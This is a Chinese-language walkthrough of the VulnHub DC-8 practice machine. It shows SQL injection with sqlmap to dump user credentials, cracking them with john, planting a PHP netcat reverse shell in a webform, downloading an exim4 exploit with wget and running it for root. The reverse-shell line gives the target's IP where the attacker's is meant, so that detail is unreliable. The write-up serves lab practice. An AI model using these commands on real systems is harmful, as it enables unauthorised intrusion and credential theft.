@
目录前言
通过一些靶机实战练习,学习使用现有的工具来成为脚本小子。
一、环境搭建
- 靶机:Linux虚拟机 DC8(下载地址 https://www.vulnhub.com/entry/dc-8,367/),解压双击用VM虚拟机打开即可。
- 用于攻击的主机(本次采用kali)
- 确保主机和虚拟机在同一网段下。
二、目标和思路
- 绕过两因素身份验证,获得 root 并读取唯一的标志flag文件。
- 思路:信息收集->getshell->提权
三、实际操作
1.信息收集
-
查看靶机ip
-
使用netdiscover进行扫描,得到目标靶机的ip地址。
netdiscover -r 192.168.124.0/24
-
使用nmap扫描靶机端口,查看哪些端口开放。
nmap 192.168.124.134
发现存在web服务器,网页访问网站。 -
网站点击链接发现可能存在sql注入,使用sqlmap扫描。
#尝试获取数据库名 sqlmap -u http://192.168.124.134/?nid=1 --dbs #尝试获取表名 sqlmap -u http://192.168.124.134/?nid=1 -D d7db --tables 发现其中含有user表,此表往往是登陆网站,破解的关键数据。 #尝试获取user表内的字段名 sqlmap -u http://192.168.124.134/?nid=1 -D d7db -T users --columns #对user表内name和pass字段进行数据获取 sqlmap -u http://192.168.124.134/?nid=1 -D d7db -T users -C name,pass --dump
得到账号密码
密码明显可以看出是经过加密的,所以我们需要解密。 -
使用john解密
先将数据存储进一个文件example.txt
中,并且以用户名:密码
的形式进行保存。#在文件当前目录下使用john解密 john example.txt
得到john的密码,admin的密码解密失败。 -
使用dirb搜寻网站目录,获得登陆入口
dirb http://192.168.124.134
,发现目录中存在/user,进入页面输入账号密码登陆成功。
2.getshell
-
一顿乱点,发现找到了可以编写php代码的位置(点击左上角content->点击edit->点击webforms->点击form settings->点击下拉框选择php code
-
输入一句话木马上传反弹shell(此处无法找到路径所以用反弹shell)
<?php system("nc -n 192.168.124.134 9999 -e /bin/bash");?>
(简单解释:nc是netcat命令,用于两台设别互相交互,-e参数表示当连接成功时在本机开启一个terminal,所有输入会传入到terminal上。) -
保存后,先在kali上启动监听,等待靶机连接
nc -lvp 9999
-
在网页随意提交一个评论,启动连接
-
查看terminal发现连接成功,为了更方便的使用远程shell,可以尝试写一个python伪terminal来使用
python -c "import pty; pty.spawn('/bin/bash');"
-
查看安装的软件是否含有suid
find / -perm -4000 2>/dev/null
发现服务器软件exim4。 -
使用searchsploit查找相关漏洞。
searchsploit exim4
找到漏洞提权文件linux/local/46996.sh
,打开文件,查看使用命令#usage instructions function usage() { echo "$0 [-m METHOD]" echo echo "-m setuid : use the setuid payload (default)" echo "-m netcat : use the netcat payload" echo exit 1 }
将该文件复制到kali apache服务器上,便于靶机下载(什么服务器都行)。
-
启动apache服务器
systemctl start apache2
,使用之前的反弹shell下载漏洞文件wget http://192.168.124.130/exim4.sh
(exim4.sh是漏洞文件,改了个名字)。权限不足时选择/tmp下载。下载成功后添加执行权限chmod 777 exim4.sh
。 -
注意,直接运行脚本文件如果提示失败,有可能是格式问题,需要在主机上将脚本格式设置成符合unix格式。然后重新上传和下载。
vim exim4.sh :set ff=unix :wq
-
根据脚本内使用方法输入命令
./exim4.sh -m netcat
脚本运行成功后,成功打开/root/flag.txt文件,攻击成功。
总结
本次实验主要还是遵循 信息收集->getshell->提权 的思路,算是一次简单的入门实战练习。在更复杂的环境下还需要考虑更多方面的因素,需要不断实践总结。